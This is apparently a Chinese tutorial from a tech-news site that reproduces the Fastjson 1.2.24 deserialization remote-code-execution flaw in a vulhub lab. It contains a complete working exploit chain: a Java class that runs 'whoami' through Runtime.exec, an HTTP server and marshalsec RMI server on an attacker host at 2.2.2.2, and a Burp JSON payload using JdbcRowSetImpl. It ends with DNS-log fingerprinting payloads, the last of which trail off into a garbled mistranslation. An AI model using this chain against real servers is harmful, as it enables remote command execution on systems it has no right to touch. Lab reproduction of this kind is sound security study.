溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

發(fā)布時間:2021-12-14 09:36:20 來源:億速云 閱讀:270 作者:柒染 欄目:網(wǎng)絡(luò)管理

本篇文章為大家展示了如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。

先啟動靶場

docker-compose up -d先啟動vulhub的fastjson環(huán)境如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

Docker開啟的8090端口

假設(shè)我們目標(biāo)IP為1.1.1.1,此時我們訪問1.1.1.1:8090

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

安裝環(huán)境(maven與jdk,以就有的跳過此步)

安裝jdk環(huán)境

很多l(xiāng)inux自帶有jdk環(huán)境,但缺少很多組件,會報錯實屬正常

https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根據(jù)自己系統(tǒng)選擇相應(yīng)jdk下載。

mkdir /opt/java

tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java

vim  /etc/profile

末尾增加

export JAVA_HOME=/opt/java/jdk1.8.0_251

export JRE_HOME=/opt/java/jdk1.8.0_251

export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib

export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin

source /etc/profile

測試

java -version

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

安裝maven(linux為例)

wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

mkdir /opt/maven

tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/

配置環(huán)境變量

vim /etc/profile

在最下面增加

export MAVEN_HOME=/opt/maven/apache-maven-3.6.3

export PATH=$MAVEN_HOME/bin:$PATH

驗證maven是否安裝成功

mvn -version

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

報錯解決:

你可能遇到這樣的報錯

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

說明你安裝的jdk有問題,按上述方法不行就百度。

如果是這樣:

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

說明你環(huán)境變量沒配置好,報這個錯我才發(fā)現(xiàn)可以直接用apt安裝,可能是我換了個系統(tǒng)這個源里面有,之前實驗的時候不是這個系統(tǒng),我這系統(tǒng)是ubantu,具體apt安裝出來的能不能用自己試。

環(huán)境安裝好了后開始復(fù)現(xiàn)漏洞

保存以下代碼,命名為dnslog.java

import java.lang.Runtime;

import java.lang.Process;

 

public class dnslog{

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

執(zhí)行以下代碼會生成一個dnslog.class文件

javac dnslog.java

使用python在當(dāng)前目錄下起一個http服務(wù),如果端口占用換其他的

python -m SimpleHTTPServer 4567

使用marshalsec項目,啟動RMI服務(wù),監(jiān)聽9999端口并加載遠(yuǎn)程類dnslog.class

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec/

編譯項目

mvn clean package -DskipTests

如果出現(xiàn)下圖情況,就是jdk環(huán)境問題,自帶jdk環(huán)境不完整。按上面步驟安裝即可。

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

成功是這樣的,target目錄下會生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

當(dāng)前目錄下執(zhí)行命令開啟RMI服務(wù):

以我搭建dnslog.class類http服務(wù)的服務(wù)器IP為2.2.2.2端口為4567

cd target/

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:4567/#TouchFile" 9999

RMI服務(wù)可以搭建在與dnslog.class類的http服務(wù)同一臺服務(wù)器,也可以搭建在其它服務(wù)器上。我們演示還是在同一臺。

既然環(huán)境準(zhǔn)備就緒就掏出burp開搞吧:

構(gòu)造payload扔burp中發(fā)送

POST / HTTP/1.1

Host: 1.1.1.1:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 160

 

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://2.2.2.2:9999/dnslog",

        "autoCommit":true

    }

}

 

成功后是這樣的

RMI:

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

Python起的http服務(wù):

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

Burp返回包:

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

Dnslog平臺能看到執(zhí)行結(jié)果:

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

為什么我要說著三處執(zhí)行情況,大家肯定很好奇,直接說結(jié)果不就好了嗎?

這里又是已給可能出錯的地方,第一處檢查rmi運(yùn)行情況,第二處檢查http服務(wù)開啟情況,第三處就是執(zhí)行結(jié)果。

如果最終結(jié)果有問題,那處結(jié)果顯示不正常就去哪個地方找原因。第一、二處最有可能出現(xiàn)問題的就是端口占用或者防火墻攔截。Dnslog平臺沒有顯示就說明命令未執(zhí)行成功,也有可能是平臺問題。具體自己檢查。

文末講解下fastjson指紋特征

1 根據(jù)返回包判斷

任意抓個包,提交方式改為POST,花括號不閉合。返回包在就會出現(xiàn)fastjson字樣。當(dāng)然這個可以屏蔽,如果屏蔽使用其它辦法,往后翻。

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

2 利用dnslog盲打

構(gòu)造以下payload,利用dnslog平臺接收。

{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

1.2.67版本后payload

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}

如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程

"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}

["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":

"java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}

上述內(nèi)容就是如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程,你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI